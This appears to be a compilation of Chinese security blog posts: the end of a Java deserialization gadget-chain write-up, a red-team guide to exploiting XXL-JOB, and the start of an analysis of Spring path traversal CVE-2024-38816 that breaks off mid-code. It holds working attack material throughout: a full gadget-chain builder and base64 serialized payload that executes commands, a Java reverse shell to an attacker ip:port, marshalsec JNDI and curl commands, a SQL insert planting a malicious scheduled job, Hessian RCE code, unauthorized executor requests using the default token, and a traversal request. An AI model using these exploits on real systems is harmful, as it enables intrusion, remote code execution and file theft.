clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException("Field '" + fieldName + "' not found in class hierarchy.");
}
field.setAccessible(true);
field.set(obj, value);
}
}

未成功,打断点调试一下,发现是我想当然了,主要问题点存在这里:

image

从调试过程看,确实成功放入了两个键值对,但是在第二次调用putValue()方法时,如图可见oldValue的值竟然为null,这一部分确实是我之前疏忽的,这里的oldValue取值的get(key)的key是和newValue的key是一样的,所以导致在反序列化时并没有对应的值而使得oldValue值为null,但是我们并不能在序列化前放入key相同的两个键值对,简单跟进Arraytable类的put()方法:

image

很容易知道如果key重复就会入上面方框的代码会让先放进的值被覆盖掉,否则就是下面这个可以放进去两个值。

但是师傅给出了一个非常妙的思路,就是先像前面一样放进去两个值,然后再在16进制编辑器里修改第一个键值对的key为第二个键值对的key(尝试过直接修改文件,会报格式错误,所以还是用编辑器来改吧)。并且再看一下反序列化流程,是完全可行的:

image

虽然在调用arrayTable.put()还是会覆盖,但是我们已经获取到了oldValue,也就是可控的XString类实例,那么这里在调用firePropertyChange就完全符合前面的链子了,所以最后的payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javax.xml.transform.Templates;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.swing.text.StyledEditorKit;
import javax.swing.event.SwingPropertyChangeSupport;
import java.util.HashMap;
public class Main{
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd= "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxyObj);
XString xstring = new XString("text");
StyledEditorKit.AlignmentAction alignmentAction = new StyledEditorKit.AlignmentAction("123",1);
alignmentAction.putValue("Name",null);
alignmentAction.putValue("fupanc1",xstring);
alignmentAction.putValue("fupanc2",jsonObject);
//任意可序列化的类作为参数都行
HashMap hashMap = new HashMap();
SwingPropertyChangeSupport swingPropertyChangeSupport = new SwingPropertyChangeSupport(hashMap);
setFieldValue(alignmentAction,"changeSupport", swingPropertyChangeSupport);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(alignmentAction);
out.close();
// ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
// in.readObject();
// in.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Class<?> clazz = obj.getClass();
Field field = null;
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException("Field '" + fieldName + "' not found in class hierarchy.");
}
field.setAccessible(true);
field.set(obj, value);
}
}

然后使用编辑器将生成的ser.ser文件的31改成32,即1=>2:

image

然后就可以愉快的反序列化弹计算机了:

image

是一个非常好的思路,还可以先正常生成两个键值对,然后再通过编辑器修改成想要的值,达到既定的效果。

最后贴一个mac环境下的paylaod验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
public class Main {
public static void main(String[] args) throws Exception {
// byte[] data = Files.readAllBytes(Paths.get("ser.ser"));
// System.out.println(Base64.getEncoder().encodeToString(data));
String payload = "rO0ABXNyADBqYXZheC5zd2luZy50ZXh0LlN0eWxlZEVkaXRvcktpdCRBbGlnbm1lbnRBY3Rpb27M5wk51R8KdgIAAUkAAWF4cgAxamF2YXguc3dpbmcudGV4dC5TdHlsZWRFZGl0b3JLaXQkU3R5bGVkVGV4dEFjdGlvbkI5NbOb1VOkAgAAeHIAG2phdmF4LnN3aW5nLnRleHQuVGV4dEFjdGlvbgCrKNni9WB8AgAAeHIAGmphdmF4LnN3aW5nLkFic3RyYWN0QWN0aW9u1UAlM9YyWOUDAAJaAAdlbmFibGVkTAANY2hhbmdlU3VwcG9ydHQALkxqYXZheC9zd2luZy9ldmVudC9Td2luZ1Byb3BlcnR5Q2hhbmdlU3VwcG9ydDt4cAFzcgAsamF2YXguc3dpbmcuZXZlbnQuU3dpbmdQcm9wZXJ0eUNoYW5nZVN1cHBvcnRjZsI+j4MRjAIAAVoAC25vdGlmeU9uRURUeHIAIGphdmEuYmVhbnMuUHJvcGVydHlDaGFuZ2VTdXBwb3J0WNXSZFdIYLsDAANJACpwcm9wZXJ0eUNoYW5nZVN1cHBvcnRTZXJpYWxpemVkRGF0YVZlcnNpb25MAAhjaGlsZHJlbnQAFUxqYXZhL3V0aWwvSGFzaHRhYmxlO0wABnNvdXJjZXQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwAAAAAnBzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHhweAB3BAAAAAJ0AAdmdXBhbmMyc3IAMWNvbS5zdW4ub3JnLmFwYWNoZS54cGF0aC5pbnRlcm5hbC5vYmplY3RzLlhTdHJpbmccCic7SBbF/QIAAHhyADFjb20uc3VuLm9yZy5hcGFjaGUueHBhdGguaW50ZXJuYWwub2JqZWN0cy5YT2JqZWN09JgSCbt7thkCAAFMAAVtX29ianEAfgAJeHIALGNvbS5zdW4ub3JnLmFwYWNoZS54cGF0aC5pbnRlcm5hbC5FeHByZXNzaW9uB9mmHI2srNYCAAFMAAhtX3BhcmVudHQAMkxjb20vc3VuL29yZy9hcGFjaGUveHBhdGgvaW50ZXJuYWwvRXhwcmVzc2lvbk5vZGU7eHBwdAAEdGV4dHQAB2Z1cGFuYzJzcgAgY29tLmFsaWJhYmEuZmFzdGpzb24yLkpTT05PYmplY3QAAAAAAAAAAQIAAHhyABdqYXZhLnV0aWwuTGlua2VkSGFzaE1hcDTATlwQbMD7AgABWgALYWNjZXNzT3JkZXJ4cQB+AAs/QAAAAAAADHcIAAAAEAAAAAF0AAZmdXBhbmNzfQAAAAEAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzeHIAF2phdmEubGFuZy5yZWZsZWN0LlByb3h54SfaIMwQQ8sCAAFMAAFodAAlTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25IYW5kbGVyO3hwc3IANG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5KZGtEeW5hbWljQW9wUHJveHlMxLRxDuuW/AIABFoADWVxdWFsc0RlZmluZWRaAA9oYXNoQ29kZURlZmluZWRMAAdhZHZpc2VkdAAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc2VkU3VwcG9ydDtbABFwcm94aWVkSW50ZXJmYWNlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwAABzcgAwb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkFkdmlzZWRTdXBwb3J0JMuKPPqkxXUCAAVaAAtwcmVGaWx0ZXJlZEwAE2Fkdmlzb3JDaGFpbkZhY3Rvcnl0ADdMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvZnJhbWV3b3JrL0Fkdmlzb3JDaGFpbkZhY3Rvcnk7TAAIYWR2aXNvcnN0ABBMamF2YS91dGlsL0xpc3Q7TAAKaW50ZXJmYWNlc3EAfgAjTAAMdGFyZ2V0U291cmNldAAmTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL1RhcmdldFNvdXJjZTt4cgAtb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLlByb3h5Q29uZmlni0vz5qfg928CAAVaAAtleHBvc2VQcm94eVoABmZyb3plbloABm9wYXF1ZVoACG9wdGltaXplWgAQcHJveHlUYXJnZXRDbGFzc3hwAAAAAAAAc3IAPG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5EZWZhdWx0QWR2aXNvckNoYWluRmFjdG9yeVTdZDfiTnH3AgAAeHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcQB+ACkAAAAAdwQAAAAAeHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC50YXJnZXQuU2luZ2xldG9uVGFyZ2V0U291cmNlfVVu9cf4+roCAAFMAAZ0YXJnZXRxAH4ACXhwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3NxAH4AH0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAXVyAAJbQqzzF/gGCFTgAgAAeHAAAAGmyv66vgAAADQAGwEABEV2aWwHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BABJvcGVuIC1hIENhbGN1bGF0b3IIABABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAASABMKAAsAFAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHABYBAAY8aW5pdD4MABgACAoAFwAZACEAAgAXAAAAAAACAAgABwAIAAEACQAAABYAAgAAAAAACrgADxIRtgAVV7EAAAAAAAEAGAAIAAEACQAAABEAAQABAAAABSq3ABqxAAAAAAABAAUAAAACAAZwcQB+ABhwdwEAeHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAA3ZyACNvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5TcHJpbmdQcm94eQAAAAAAAAAAAAAAeHB2cgApb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkFkdmlzZWQAAAAAAAAAAAAAAHhwdnIAKG9yZy5zcHJpbmdmcmFtZXdvcmsuY29yZS5EZWNvcmF0aW5nUHJveHkAAAAAAAAAAAAAAHhweAB4AAAAAQ==";
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(payload)));
ois.readObject();
ois.close();
}
}

参考文章

https://mp.weixin.qq.com/s/gl8lCAZq-8lMsMZ3_uWL2Q

https://xz.aliyun.com/news/14333

https://arthas.aliyun.com/doc/quick-start.html

https://xz.aliyun.com/news/18467

XXL-JOB在真实攻防下的总结

XXL-JOB在真实攻防下的总结

本文转自 Air 并作补充

最近在HW中经常会遇到XXL-JOB这个组件,也通过这个组件进入了不少目标单位,那就对该组件的利用进行一次总结。

一、最基本的操作-计划任务命令执行

这个操作我相信大家已经熟的不能再熟了,因为xxl-job的初始化sql语句中设定了默认密码,而且在登入之后不会提示修改默认密码,就造成了xxl-job的默认账号密码为admin/123456。

由于xxl-job本身是任务调度的系统,其可以自然执行命令。通常会反弹shell,再进行后渗透,只需要在新建命令时选择对应的脚本语言,在GLUE IDE中编辑命令,选择执行一次即可。

image

image

image

这种方式有几个容易踩坑的点:

1、选择执行命令的种类与系统不匹配

image

因为xxl-job的exector在生产环境中常常跑在docker环境下的linux下,就会造成一个惯性思维:当我们拿到一个xxl-job的往往会先使用shell去执行命令。

image

当失败的时候就会以为是环境有问题,打不动。

却不知有时xxl-job也可以跑在Windows下。这时候就可以去执行Powerhshell命令去上线。当然如果比较懒的话可以直接执行java代码来上线。无论Windows和linux都可以反弹shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
package com.xxl.job.service.handler;

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.Socket;

public class reverse {
class StreamConnector
extends Thread
{
InputStream hx;
OutputStream il;

StreamConnector(InputStream hx, OutputStream il)
{
this.hx = hx;
this.il = il;
}

public void run()
{
BufferedReader ar = null;
BufferedWriter slm = null;
try
{
ar = new BufferedReader(new InputStreamReader(this.hx));
slm = new BufferedWriter(new OutputStreamWriter(this.il));
char[] buffer = new char[8192];
int length;
while ((length = ar.read(buffer, 0, buffer.length)) > 0)
{
slm.write(buffer, 0, length);
slm.flush();
}
}
catch (Exception localException) {}
try
{
if (ar != null) {
ar.close();
}
if (slm != null) {
slm.close();
}
}
catch (Exception localException1) {}
}
}
public reverse()
{
reverseConn("ip:port");
}

public static void main(String[] args)
{
System.out.println("0");
}

public void reverseConn(String ip)
{
String ipport = ip;
try
{
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
Socket socket = new Socket(ipport.split(":")[0],
Integer.parseInt(ipport.split(":")[1]));
Process process = Runtime.getRuntime().exec(ShellPath);
new StreamConnector(process.getInputStream(),
socket.getOutputStream()).start();
new StreamConnector(process.getErrorStream(),
socket.getOutputStream()).start();
new StreamConnector(socket.getInputStream(),
process.getOutputStream()).start();
}
catch (Exception e)
{
e.printStackTrace();
}
}
}

2、反弹shell

在实战中会碰到executor不出网的情况。即执行了反弹shell的命令之后在vps上未收到回显,这时就要去思考executor是否出网或者是注册executor是否失效。
我们可以去执行器中查看其注册方式

image

我们去正常来说自动注册的executor是不会出问题的。因为从代码实现来看xxl-job的executor每隔2min就会向adminer发送心跳证明其存活。而自己注册的可能就不一定可以打通。

二、api未授权访问

在xxl-job<=2.0.2的时候api存在未授权访问,有两种方式可以getshell。

1、利用jndi注入去打内存马

这个已经被人讲过好多次了,但是利用的前提就是需要出网,使用marshalsec去生成payload

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://x.x.x.x:1099/aaa > test.ser

再利用curl去发包即可,注意尽量使用linux或者Windows的cmd去发包,实测Windows下powershell发包可能会出现一些问题。

1
curl -XPOST -H "Content-Type: x-application/hessian" --data-binary @test.ser http://127.0.0.1:8080/xxl-job-admin/api

2、去利用XSLT去注入内存马

这个应该是最好使的方案,Nookipop已经讲过了,在不出网时可以利用XSLT去打入内存马,进行命令执行,打入suo5内存马进行正向代理内网穿透。

详见 记一次曲折的XXL-JOB API Hessian反序列化到Getshell

三、执行命令注入内存马

这种同样是不出网时才考虑的操作。注入的是agent内存马,这个利用的条件其实也有点苛刻,一般来说xxl-job的executor常常跑在docker环境下或者分布式部署。而要想注入agent类型的内存马就需要admin端和executor跑在一台主机下。方法就是使用echo方法或者java的写入文件的方法将agent内存马写到目标主机上,然后在进行加载。具体利用方法可参照。XXL-JOB 深度利用

四、奇技淫巧-从数据库getShell

这也是实战中遇到的一个案例,目标单位存在一个nacos的身份伪造漏洞,获取到了数据库的配置文件,成功的连上了数据库,当然我们可以去尝试udf提权或者猜目录去写马,但我发现数据库中存在xxl_job的数据库,这时候其实就有更多的方法去getshell。

image

image

这时候通常有两种利用方式:1、获取到xxl-job的密码,登入xxl-job去写计划任务进行命令执行getshell。2、直接通过往数据库里写内容进行getshell。

1、登入xxl-job进行getshell

这种方式通常适用于xxl-job-admin的服务暴露在互联网上。我们可以通过语句select * from information_schema.PROCESSLIST;来判断客户端连接。由于我是在本地跑的环境,这里就是localhost,如果是通过公网ip去连接的数据库,我们就可以定位到其公网ip,扫一下端口即可判断xxl-job-admin是否暴露在公网上了。

image

如果暴露在公网上,我们便可以直接利用,xxl-job密码为md5加密,我们首先可以尝试md5解密,解不开的话新增一个用户,密码用md5加密即可。登入成功之后我们便可以通过计划任务进行命令执行了。

image

2、通过向数据库中写入数据进行getshell

这是我偶然发现的一个小trick,其实原理很简单,xxl-job-admin会定时从数据库中查询待执行的任务,在一定时间内执行。也就是说,我们只需要往数据库里插入我们构造好的恶意定时任务。他便会让executor去执行。当前测试版本为2.4.1(不同版本的xxl-job的数据库结构不太相同,以最新版的为例,旧版的在之前遇到的环境中经测试也能打通。)

只需要在xxl_job.xxl_job_info中插入这条语句即可

1
2
3
INSERT INTO `xxl_job`.`xxl_job_info` 
(`id`, `job_group`, `job_desc`, `add_time`, `update_time`, `author`, `alarm_email`, `schedule_type`, `schedule_conf`, `misfire_strategy`, `executor_route_strategy`, `executor_handler`, `executor_param`, `executor_block_strategy`, `executor_timeout`, `executor_fail_retry_count`, `glue_type`, `glue_source`, `glue_remark`, `glue_updatetime`, `child_jobid`, `trigger_status`, `trigger_last_time`, `trigger_next_time`)
VALUES (7, 1, '22222', '2023-12-27 14:57:36', '2023-12-27 14:58:23', '22222', '', 'CRON', '0/5 * * * * ?', 'DO_NOTHING', 'FIRST', '', '', 'SERIAL_EXECUTION', 0, 0, 'GLUE_POWERSHELL', 'calc\n', '12312321', '2023-12-27 14:57:48', '', 0, 1703660320000, 1703660325000);

其中有几个值得关注的点:

schedule_type为corn轮询,0/5 * * * * ?则是计划任务执行的时间我这里设定为5秒1次。executor_handler则是执行命令的类型,我这里因为在Windows下测试,故而选择为powershell,也可变为GLUE_SHELL或者GLUE_GROOVY等来应对不同的命令。目前我们只是插入了命令,并不能执行,要是想执行,还需要在插入数据之后把trigger_status的值改为1,executor便会自动开始执行我们输入的命令。

五、executor未授权访问

xxl-job的executeor存在未授权访问漏洞,指纹如下图所示

低版本

image

高版本

image

其原因就是admin端与executeor端通过互相发送tcp包进行通信,攻击者可伪造包,使executeor执行命令。

该漏洞主要分为三个阶段

1、XxlJob<2.1.2,需要利用Hessian触发

参考这个项目即可RCE
https://github.com/OneSourceCat/XxlJob-Hessian-RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
package com.example;

import com.xxl.job.core.biz.model.TriggerParam;
import com.xxl.rpc.remoting.net.params.XxlRpcRequest;

import com.xxl.rpc.serialize.impl.HessianSerializer;
import org.asynchttpclient.AsyncCompletionHandler;
import org.asynchttpclient.AsyncHttpClient;
import org.asynchttpclient.DefaultAsyncHttpClient;
import org.asynchttpclient.Response;

import java.io.IOException;
import java.util.Date;

public class App {

private static void sendData(String url, byte[] bytes) {
AsyncHttpClient c = new DefaultAsyncHttpClient();

try{
c.preparePost(url)
.setBody(bytes)
.execute(new AsyncCompletionHandler<Response>() {
@Override
public Response onCompleted(Response response) throws Exception {
System.out.println("Server Return Data: ");
System.out.println(response.getResponseBody());
return response;
}

@Override
public void onThrowable(Throwable t) {
System.out.println("HTTP出现异常");
t.printStackTrace();
super.onThrowable(t);
}
}).toCompletableFuture().join();

c.close();
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
c.close();
} catch (IOException e) {
e.printStackTrace();
}
}


}

public static void main( String[] args ) throws Exception {

String code = "package com.xxl.job.service.handler;\n" +
"\n" +
"import com.xxl.job.core.log.XxlJobLogger;\n" +
"import com.xxl.job.core.biz.model.ReturnT;\n" +
"import com.xxl.job.core.handler.IJobHandler;\n" +
"import java.lang.Runtime;\n" +
"\n" +
"public class DemoGlueJobHandler extends IJobHandler {\n" +
"\n" +
"\t@Override\n" +
"\tpublic ReturnT<String> execute(String param) throws Exception {\n" +
" \tRuntime.getRuntime().exec(\"calc\");\n" +
"\t\treturn ReturnT.SUCCESS;\n" +
"\t}\n" +
"\n" +
"}\n";

System.out.println(code);

TriggerParam params = new TriggerParam();
params.setJobId(10);
params.setExecutorBlockStrategy("SERIAL_EXECUTION");
params.setLogId(10);
params.setLogDateTime((new Date()).getTime());
params.setGlueType("GLUE_GROOVY");
params.setGlueSource(code);
params.setGlueUpdatetime((new Date()).getTime());

XxlRpcRequest xxlRpcRequest = new XxlRpcRequest();
xxlRpcRequest.setRequestId("111");
xxlRpcRequest.setClassName("com.xxl.job.core.biz.ExecutorBiz");
xxlRpcRequest.setMethodName("run");
xxlRpcRequest.setParameterTypes(new Class[]{TriggerParam.class});
xxlRpcRequest.setParameters(new Object[] {params});
xxlRpcRequest.setCreateMillisTime((new Date()).getTime());

HessianSerializer serializer = new HessianSerializer();

byte[] data = serializer.serialize(xxlRpcRequest);
sendData("http://127.0.0.1:9999", data);

}
}

2、2.2.0<=XxlJob<=2.4.0

支持了RESTFUL API,可以直接发送http包伪造
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /run HTTP/1.1
Host: 192.168.226.1:10999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
XXL-JOB-ACCESS-TOKEN: default_token
Content-Type: application/json
Content-Length: 365

{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}

3、XxlJob >= 2.4.0添加了默认token

作者为了修复该漏洞,添加了默认的token,但是这就如同nacos的jwt秘钥,shiro的默认key一样,由于使用者的粗心大意不修改该key,还是可以被利用
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /run HTTP/1.1
Host: 192.168.226.1:10999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
XXL-JOB-ACCESS-TOKEN: default_token
Content-Type: application/json
Content-Length: 365

{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}

CVE-2024-38816 Spring Framework 目录遍历漏洞详细分析

CVE-2024-38816 Spring Framework 目录遍历漏洞详细分析

本文转自 真爱和自由 并作补充

漏洞描述

https://spring.io/security/cve-2024-38816

通过功能性 Web 框架 WebMvc.fn 或 WebFlux.fn 提供静态资源的应用程序容易受到路径遍历攻击。攻击者可以编写恶意 HTTP 请求并获取文件系统上任何可由 Spring 应用程序正在运行的进程访问的文件。

具体来说,当以下两个条件都成立时,应用程序就容易受到攻击:

  • Web 应用程序用于RouterFunctions提供静态资源
  • 资源处理明确配置了FileSystemResource位置

但是,当以下任何一项满足时,恶意请求都会被阻止和拒绝:

受影响的 Spring 产品和版本

Spring 框架

  • 5.3.0 - 5.3.39
  • 6.0.0 - 6.0.23
  • 6.1.0 - 6.1.12
  • 较旧的、不受支持的版本也受到影响

基础知识

首先分析一个cve说实话我是不太了解spring框架的,这时候就需要疯狂拷打GPT了

WebMvc.fn和WebFlux.fn

WebMvc

WebMvc 是 Spring Framework 提供的传统的 MVC(Model-View-Controller)架构,用于构建 web 应用程序。它使用的是 Servlet API,适合于构建基于线程的同步 web 应用。其基本组成包括:

  • Controller:处理 HTTP 请求的主要组件。
  • View:用于渲染响应的模板(如 JSP、Thymeleaf 等)。
  • Model:包含应用程序的核心数据。

WebFlux

WebFlux 是 Spring 5 中引入的模块,专门用于构建异步、非阻塞的 web 应用,适合于高并发和 I/O 密集型的场景。WebFlux 基于反应式编程模型,允许应用在处理请求时不阻塞线程,从而提高了性能。

RouterFunctions 和 FileSystemResource

RouterFunctions

RouterFunctions 是Spring WebFlux的一部分,它提供了一种函数式编程模型来定义请求路由和处理。使用 RouterFunctions,你可以创建一个路由,它将HTTP请求映射到处理这些请求的函数上。

FileSystemResource

FileSystemResource 是Spring框架中的一个类,它表示文件系统中的一个资源,通常用于读取和写入文件。它实现了 org.springframework.core.io.Resource 接口。

环境搭建

这里就用webflux来举例子

首先选择spring的版本,只需要在影响版本里面的就好了

1
2
3
4
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-webflux</artifactId>
</dependency>

然后因为要满足

当以下两个条件都成立时,应用程序就容易受到攻击:

  • Web 应用程序用于RouterFunctions提供静态资源
  • 资源处理明确配置了FileSystemResource位置

可以问问gpt啥的

image

创建一个漏洞代码

1
2
3
4
5
6
7
@Configuration
public class Config {
@Bean
public RouterFunction<ServerResponse> test() {
return RouterFunctions.resources("/static/**", new FileSystemResource("D:/phpstudy_pro/WWW/"));
}
}

漏洞复现

首先我们在D盘放一个文件,用于测试

在1.txt写入flag{scueess}

然后尝试访问路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET /static/%5c/%5c/../../1.txt HTTP/1.1
Host: 127.0.0.1:8888
sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

image

可以发现是成功了

漏洞分析

先查看官方的diff确定漏洞代码位置

https://github.com/spring-projects/spring-framework/commit/d86bf8b2056429edf5494456cffcb2b243331c49#diff-25869a3e3b3d4960cb59b02235d71d192fdc4e02ef81530dd6a660802d4f8707L151

是在PathResourceLookupFunction类,如何修复的先不关心,当然如果很明显就可以更快,我们把关键方法给打个断点慢慢看一看,然后慢慢分析调试一会就能知道个大概

因为是使用了RouterFunctions处理,会来到如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public Mono<Resource> apply(ServerRequest request) {
PathContainer pathContainer = request.requestPath().pathWithinApplication();
if (!this.pattern.matches(pathContainer)) {
return Mono.empty();
} else {
pathContainer = this.pattern.extractPathWithinPattern(pathContainer);
String path = this.processPath(pathContainer.value());
if (path.contains("%")) {
path = StringUtils.uriDecode(path, StandardCharsets.UTF_8);
}

if (StringUtils.hasLength(path) && !this.isInvalidPath(path)) {
try {
Resource resource = this.location.createRelative(path);
return resource.isReadable() && this.isResourceUnderLocation(resource) ? Mono.just(resource) : Mono.empty();
} catch (IOException var5) {
throw new UncheckedIOException(var5);
}
} else {
return Mono.empty();
}
}
}

首先是从pathContainer.value()获取path,然后由processPath处理

image

processPath方法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private String processPath(String path) {
boolean slash = false;

for(int i = 0; i < path.length(); ++i) {
if (path.charAt(i) == '/') {
slash = true;
} else if (path.charAt(i) > ' ' && path.charAt(i) != 127) {
